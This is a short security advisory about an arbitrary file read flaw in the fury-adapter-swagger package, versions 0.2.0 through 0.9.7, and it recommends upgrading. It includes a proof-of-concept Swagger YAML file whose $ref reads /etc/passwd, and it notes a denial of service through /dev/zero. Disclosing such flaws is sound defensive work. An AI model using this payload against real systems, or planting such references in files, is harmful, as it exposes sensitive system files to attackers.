fury-adapter-swagger allows arbitrary file read from system

`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.

## Proof of Concept:

```yaml
---
swagger: '2.0'
info:
title: Read local files
version: '1.0'

paths:
/foo:
get:
responses:
200:
description: Some description
examples:
text/html:
example:
$ref: '/etc/passwd'
```

## Recommendation

Upgrade to version 0.9.7 or later.